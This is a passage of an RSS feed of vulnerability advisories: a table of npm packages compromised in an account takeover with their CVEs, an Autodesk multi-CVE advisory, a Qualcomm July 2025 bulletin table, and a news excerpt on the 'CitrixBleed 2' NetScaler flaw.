| [debug](https://www.npmjs.com/package/debug)                             | 4.4.2   |
| [ansi-styles](https://www.npmjs.com/package/ansi-styles)                 | 6.2.2   |</description>
      <content:encoded>### CVE Assigned for the account compromised 

Account compromised: [https://www.npmjs.com/~qix)](https://www.npmjs.com/~qix) and `duckdb_admin`  - [source code of the malware ](https://gist.github.com/sindresorhus/2b7466b1ec36376b8742dc711c24db20)

-  DuckDB packages - https://github.com/duckdb/duckdb-node/security/advisories/GHSA-w62p-hx95-gf2c -  CVE-2025-59037 
-  Prebid - prebid-universal-creative - https://vulnerability.circl.lu/vuln/CVE-2025-59039 - CVE-2025-59039
-  Prebid.js - https://vulnerability.circl.lu/vuln/cve-2025-59038 - CVE-2025-59038

### Package known to be compromised

| Package                                                                  | Version |
| ------------------------------------------------------------------------ | ------- |
| [backslash](https://www.npmjs.com/package/backslash)                     | 0.2.1   |
| [chalk-template](https://www.npmjs.com/package/chalk-template)           | 1.1.1   |
| [supports-hyperlinks](https://www.npmjs.com/package/supports-hyperlinks) | 4.1.1   |
| [has-ansi](https://www.npmjs.com/package/has-ansi)                       | 6.0.1   |
| [simple-swizzle](https://www.npmjs.com/package/simple-swizzle)           | 0.2.3   |
| [color-string](https://www.npmjs.com/package/color-string)               | 2.1.1   |
| [error-ex](https://www.npmjs.com/package/error-ex)                       | 1.3.3   |
| [color-name](https://www.npmjs.com/package/color-name)                   | 2.0.1   |
| [is-arrayish](https://www.npmjs.com/package/is-arrayish)                 | 0.3.3   |
| [slice-ansi](https://www.npmjs.com/package/slice-ansi)                   | 7.1.1   |
| [color-convert](https://www.npmjs.com/package/color-convert)             | 3.1.1   |
| [wrap-ansi](https://www.npmjs.com/package/wrap-ansi)                     | 9.0.1   |
| [ansi-regex](https://www.npmjs.com/package/ansi-regex)                   | 6.2.1   |
| [supports-color](https://www.npmjs.com/package/supports-color)           | 10.2.1  |
| [strip-ansi](https://www.npmjs.com/package/strip-ansi)                   | 7.1.1   |
| [chalk](https://www.npmjs.com/package/chalk)                             | 5.6.1   |
| [debug](https://www.npmjs.com/package/debug)                             | 4.4.2   |
| [ansi-styles](https://www.npmjs.com/package/ansi-styles)                 | 6.2.2   |</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/bundle/289697c2-61dc-410f-8343-aba0be87728d</guid>
      <pubDate>Wed, 10 Sep 2025 15:17:24 +0000</pubDate>
    </item>
    <item>
      <title>Multiple Vulnerabilities in Certain Autodesk Products</title>
      <link>https://vulnerability.circl.lu/bundle/ab0c3e9d-e4cb-40b4-8979-4fc800783b99</link>
      <description>Certain Autodesk products use a shared component that is affected by multiple vulnerabilities listed below. Exploitation of these vulnerabilities can lead to code execution. Exploitation of these vulnerabilities requires user interaction.
Description

The details of the vulnerabilities are as follows:

    CVE-2025-5038: A maliciously crafted X_T file, when parsed through certain Autodesk products, can force a Memory Corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process.

    CVE-2025-5043: A maliciously crafted 3DM file, when linked or imported into certain Autodesk products, can force a Heap-Based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.

    CVE-2025-6631: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

    CVE-2025-6635: A maliciously crafted PRT file, when linked or imported into certain Autodesk products, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.

    CVE-2025-6636: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force a Use-After-Free vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.

    CVE-2025-6637: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

    CVE-2025-7497: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

    CVE-2025-7675: A maliciously crafted 3DM file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

Affected Products

Item: Autodesk AutoCAD 2026 and the following specialized toolsets: Autodesk AutoCAD Architecture 2026, Autodesk AutoCAD Electrical 2026, Autodesk AutoCAD Mechanical 2026, Autodesk AutoCAD MEP 2026, Autodesk AutoCAD Plant 3D 2026, Autodesk AutoCAD Map 3D 2026

Autodesk Advance Steel 2026, Autodesk 3ds Max 2026, Autodesk Civil 3D 2026, Autodesk InfraWorks 2026, Autodesk Inventor 2026, Autodesk Revit 2026, Autodesk Revit LT 2026, Autodesk Vault 2026

Impacted Versions: Autodesk Shared Components 2026.2

Mitigated Versions: Autodesk Shared Components 2026.3

Update Source: Autodesk Access or Accounts Portal</description>
      <content:encoded>Certain Autodesk products use a shared component that is affected by multiple vulnerabilities listed below. Exploitation of these vulnerabilities can lead to code execution. Exploitation of these vulnerabilities requires user interaction.
Description

The details of the vulnerabilities are as follows:

    CVE-2025-5038: A maliciously crafted X_T file, when parsed through certain Autodesk products, can force a Memory Corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process.

    CVE-2025-5043: A maliciously crafted 3DM file, when linked or imported into certain Autodesk products, can force a Heap-Based Overflow vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.

    CVE-2025-6631: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

    CVE-2025-6635: A maliciously crafted PRT file, when linked or imported into certain Autodesk products, can force an Out-of-Bounds Read vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.

    CVE-2025-6636: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force a Use-After-Free vulnerability. A malicious actor can leverage this vulnerability to cause a crash, read sensitive data, or execute arbitrary code in the context of the current process.

    CVE-2025-6637: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

    CVE-2025-7497: A maliciously crafted PRT file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

    CVE-2025-7675: A maliciously crafted 3DM file, when parsed through certain Autodesk products, can force an Out-of-Bounds Write vulnerability. A malicious actor may leverage this vulnerability to cause a crash, cause data corruption, or execute arbitrary code in the context of the current process.

Affected Products

Item: Autodesk AutoCAD 2026 and the following specialized toolsets: Autodesk AutoCAD Architecture 2026, Autodesk AutoCAD Electrical 2026, Autodesk AutoCAD Mechanical 2026, Autodesk AutoCAD MEP 2026, Autodesk AutoCAD Plant 3D 2026, Autodesk AutoCAD Map 3D 2026

Autodesk Advance Steel 2026, Autodesk 3ds Max 2026, Autodesk Civil 3D 2026, Autodesk InfraWorks 2026, Autodesk Inventor 2026, Autodesk Revit 2026, Autodesk Revit LT 2026, Autodesk Vault 2026

Impacted Versions: Autodesk Shared Components 2026.2

Mitigated Versions: Autodesk Shared Components 2026.3

Update Source: Autodesk Access or Accounts Portal</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/bundle/ab0c3e9d-e4cb-40b4-8979-4fc800783b99</guid>
      <pubDate>Tue, 29 Jul 2025 20:45:45 +0000</pubDate>
    </item>
    <item>
      <title>Qualcomm July 2025 Security Bulletin</title>
      <link>https://vulnerability.circl.lu/bundle/13f0850e-798e-4625-b315-667b9d13bc30</link>
      <description>| Public ID         | Security Rating | CVSS Rating | Technology Area                  | Date Reported |
|-------------------|------------------|--------------|-----------------------------------|----------------|
| CVE-2024-53009    | Critical         | Medium       | Automotive Autonomy               | Internal       |
| CVE-2025-21444    | Critical         | High         | Data Network Stack &amp; Connectivity | Internal       |
| CVE-2025-21445    | Critical         | High         | Data Network Stack &amp; Connectivity | Internal       |
| CVE-2025-21450    | Critical         | Critical     | GPS                               | Internal       |
| CVE-2025-21422    | High             | High         | Automotive                        | Internal       |
| CVE-2025-21427    | High             | High         | Data Network Stack &amp; Connectivity | 08/18/2024     |
| CVE-2025-21432    | High             | High         | HLOS                              | Internal       |
| CVE-2025-21433    | High             | Medium       | HLOS                              | Internal       |
| CVE-2025-21446    | High             | High         | WLAN Firmware                     | Internal       |
| CVE-2025-21449    | High             | High         | WLAN Firmware                     | Internal       |
| CVE-2025-21454    | High             | High         | WLAN Firmware                     | Internal       |
| CVE-2025-21466    | High             | High         | Display                           | Internal       |
| CVE-2025-27044    | High             | High         | Video                             | 10/27/2024     |
| CVE-2025-27046    | High             | High         | Display                           | Internal       |
| CVE-2025-27047    | High             | High         | Display                           | Internal       |
| CVE-2025-27050    | High             | High         | Camera                            | 11/06/2024     |
| CVE-2025-27051    | High             | High         | Windows WLAN Host                 | 12/14/2024     |
| CVE-2025-27052    | High             | High         | Core Services                     | 12/20/2024     |
| CVE-2025-27055    | High             | High         | Camera                            | Internal       |
| CVE-2025-27058    | High             | High         | Computer Vision                   | Internal       |



#### Open Source Software Issues

The tables below summarize security vulnerabilities that were addressed through open source software

This table lists high impact security vulnerabilities. Patches are being actively shared with OEMs, who have been notified and strongly recommended to deploy those patches on released devices as soon as possible. Please contact the device manufacturer for information on the patching status of released devices. 

| Public ID         | Security Rating | CVSS Rating | Technology Area | Date Reported |
|-------------------|------------------|--------------|------------------|----------------|
| CVE-2025-27042    | High             | High         | Video            | 09/22/2024     |
| CVE-2025-27043    | High             | High         | Video            | 09/17/2024     |
| CVE-2025-27056    | High             | High         | DSP Service      | Internal       |
| CVE-2025-27057    | High             | High         | WLAN Host        | Internal       |
| CVE-2025-27061    | High             | High         | Video            | 10/04/2024     |
</description>
      <content:encoded>| Public ID         | Security Rating | CVSS Rating | Technology Area                  | Date Reported |
|-------------------|------------------|--------------|-----------------------------------|----------------|
| CVE-2024-53009    | Critical         | Medium       | Automotive Autonomy               | Internal       |
| CVE-2025-21444    | Critical         | High         | Data Network Stack &amp; Connectivity | Internal       |
| CVE-2025-21445    | Critical         | High         | Data Network Stack &amp; Connectivity | Internal       |
| CVE-2025-21450    | Critical         | Critical     | GPS                               | Internal       |
| CVE-2025-21422    | High             | High         | Automotive                        | Internal       |
| CVE-2025-21427    | High             | High         | Data Network Stack &amp; Connectivity | 08/18/2024     |
| CVE-2025-21432    | High             | High         | HLOS                              | Internal       |
| CVE-2025-21433    | High             | Medium       | HLOS                              | Internal       |
| CVE-2025-21446    | High             | High         | WLAN Firmware                     | Internal       |
| CVE-2025-21449    | High             | High         | WLAN Firmware                     | Internal       |
| CVE-2025-21454    | High             | High         | WLAN Firmware                     | Internal       |
| CVE-2025-21466    | High             | High         | Display                           | Internal       |
| CVE-2025-27044    | High             | High         | Video                             | 10/27/2024     |
| CVE-2025-27046    | High             | High         | Display                           | Internal       |
| CVE-2025-27047    | High             | High         | Display                           | Internal       |
| CVE-2025-27050    | High             | High         | Camera                            | 11/06/2024     |
| CVE-2025-27051    | High             | High         | Windows WLAN Host                 | 12/14/2024     |
| CVE-2025-27052    | High             | High         | Core Services                     | 12/20/2024     |
| CVE-2025-27055    | High             | High         | Camera                            | Internal       |
| CVE-2025-27058    | High             | High         | Computer Vision                   | Internal       |



#### Open Source Software Issues

The tables below summarize security vulnerabilities that were addressed through open source software

This table lists high impact security vulnerabilities. Patches are being actively shared with OEMs, who have been notified and strongly recommended to deploy those patches on released devices as soon as possible. Please contact the device manufacturer for information on the patching status of released devices. 

| Public ID         | Security Rating | CVSS Rating | Technology Area | Date Reported |
|-------------------|------------------|--------------|------------------|----------------|
| CVE-2025-27042    | High             | High         | Video            | 09/22/2024     |
| CVE-2025-27043    | High             | High         | Video            | 09/17/2024     |
| CVE-2025-27056    | High             | High         | DSP Service      | Internal       |
| CVE-2025-27057    | High             | High         | WLAN Host        | Internal       |
| CVE-2025-27061    | High             | High         | Video            | 10/04/2024     |
</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/bundle/13f0850e-798e-4625-b315-667b9d13bc30</guid>
      <pubDate>Tue, 08 Jul 2025 13:41:42 +0000</pubDate>
    </item>
    <item>
      <title>CitrixBleed 2</title>
      <link>https://vulnerability.circl.lu/bundle/07234762-c7df-4dde-a778-fbc97a0c452a</link>
      <description>&gt; Citrix patched a critical vulnerability in its NetScaler ADC and NetScaler Gateway products that is already being compared to the infamous CitrixBleed flaw exploited by ransomware gangs and other cyber scum, although there haven't been any reports of active exploitation. Yet.
&gt; 
&gt; Security analyst Kevin Beaumont dubbed the vulnerability "CitrixBleed 2." As The Register's readers likely remember, that earlier flaw (CVE-2023-4966) allowed attackers to access a device's memory, find session tokens, and then use those to impersonate an authenticated user while bypassing multi-factor authentication — which is also possible with this new bug.

https://www.theregister.com/2025/06/24/critical_citrix_bug_citrixbleed/</description>
      <content:encoded>&gt; Citrix patched a critical vulnerability in its NetScaler ADC and NetScaler Gateway products that is already being compared to the infamous CitrixBleed flaw exploited by ransomware gangs and other cyber scum, although there haven't been any reports of active exploitation. Yet.
&gt; 
&gt; Security analyst Kevin Beaumont dubbed the vulnerability "CitrixBleed 2." As The Register's readers likely remember, that earlier flaw (CVE-2023-4966) allowed attackers to access a device's memory, find session tokens, and then use those to impersonate an authenticated user while bypassing multi-factor authentication — which is also possible with this new bug.

https://www.theregister.com/2025/06/24/critical_citrix_bug_citrixbleed/</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/bundle/07234762-c7df-4dde-a778-fbc97a0c452a</guid>
      <pubDate>Wed, 25 Jun 2025 09:04:23 +0000</pubDate>
    </item>
  </channel>
</rss>
